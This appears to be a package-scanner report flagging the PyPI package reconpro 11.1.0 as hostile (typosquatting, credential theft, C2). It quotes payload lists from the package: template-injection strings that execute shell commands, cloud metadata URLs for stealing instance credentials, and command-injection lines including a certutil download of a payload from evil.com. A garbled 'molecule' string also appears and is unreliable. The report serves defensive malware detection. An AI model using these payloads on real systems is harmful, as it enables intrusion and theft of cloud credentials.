Hostile ^93% python Download

reconpro 11.1.0

Typosquatting, credential theft, C2

“ReconPro v11 — Enterprise Security Reconnaissance Platform. 28 Modules. 77 Commands. MITRE ATT&CK. SARIF/PDF/CSV. Pure Python.”

Jinja object traversal executes Python codeProbes several clouds for instance credentials

SHA-25676b6a8949990ec8cc8b42ebdd7acfb9473925569d5c70ec2158994abe6d85e0e

URLhttps://files.pythonhosted.org/packages/16/68/d16bbe8cf7f99c5fb055cba1c54b24213e2e8c1c27bd81bc4af22d335f70/reconpro-11.1.0-py3-none-any.whl

MaleculeK₅(Te₁₂Am₄Li₇Lu₂Mc)O₁₄(Ca₂₁Xe₁₇Al₅C₂₈Dy₉Er₁₃Eu₁₁I₁₃Pr₃As₉Co₄La₄P₄S₇)H₉(Cm₁₁₉Cr₁₃Db₅₀F₄₃HfOs₄₆Po₃₄TiU₇)Md₆(Bk₂InPa₁₁Pt)Th

Evidence

Jinja traversal reaches Python builtins lines 450–478

59… ,
          "{{cycler.__init__.__globals__.os}}",
          "{{lipsum.__globals__['os'].popen('id').read()}}",
          "{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}",
      ],
      "django": [
          "{% debug %}",
          "{{request}}",
          "{% load debug %}",
          "{% debug context %}",
          "{{settings.SECRET_KEY}}",
          "{{settings.DATABASES}}",
          "{% for x in ().__class__.__bases__[0].__subclasses__() %}{% if 'warning' in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen('id').read()}}{% endif %}{% endfor %}",
          "{{user}}",
      ],
      "mako": [
          "${7*7}",
          "${self._modules[context]}}",
          "<%import os%>${os.popen('id').read()}",
          "${__import__('os').popen('id').read()}",
          "<%=7*7%>",
          "${self.__init__.__globals__['os'].popen('id').read()}",
          "${request.environ}",
          "${self.template.module.__builtins__.__import__('os').popen('id').read()}",
      ],
      "twig": [
          "{{7*7}}",
          "{{_self}}",
          "{{_self.env.registerUndefinedFilter …

AWS EC2 metadata endpoint lines 495–516

32… ",
      ],
  },
498
  # ── Server-Side Request Forgery (SSRF) ─────────────────────────────────
  "ssrf": {
      "aws_metadata": [
          "http://169.254.169.254/latest/meta-data/",
          "http://169.254.169.254/latest/meta-data/iam/security-credentials/",
          "http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name",
          "http://169.254.169.254/latest/user-data/",
          "http://169.254.169.254/latest/meta-data/hostname",
          "http://169.254.169.254/latest/meta-data/local-ipv4",
          "http://169.254.169.254/latest/meta-data/placement/availability-zone",
          "http://169.254.169.254/latest/dynamic/instance-identity/document",
      ],
      "gcp_metadata": [
          "http://metadata.google.internal/computeMetadata/v1/",
          "http://metadata.google.internal/computeMetadata/v1/instance/hostname",
          "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/",
          "http://metadata.google.internal/computeMetadata/v1/project/project-id",
          "http://metadata.google.int …

Azure IMDS endpoint lines 517–524

30… 69.254/computeMetadata/v1/",
          "http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token",
          "http://metadata.google.internal/computeMetadata/v1/os-login/users",
      ],
      "azure_metadata": [
          "http://169.254.169.254/metadata/instance?api-version=2021-02-01",
          "http://169.254.169.254/metadata/instance/compute?api-version=2021-02-01",
          "ht …

Azure managed identity token endpoint lines 524–527

32… .254/metadata/instance/network/interface/0/ipv4/ipAddress/0/privateIpAddress?api-version=2021-02-01",
          "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/",
          "http://169.254.169.254/metadata/loadbalancer?api-version=2021-02-01",
          "http://1 …

URL path ends in a Windows executable lines 618–641

⋯4 lines
          "%0d%0a dir C:\\",
          "& net user",
          "& ipconfig /all",
          "& tasklist",
          "& systeminfo",
          "& ping -n 4 127.0.0.1",
          "certutil -urlcache -split -f https://evil.com/payload.exe",
      ],
      "generic": [
⋯11 lines

Showing the top 5 files — 7 more files (281 regions) not shown.

No evidence locations were recorded for this file. Raw result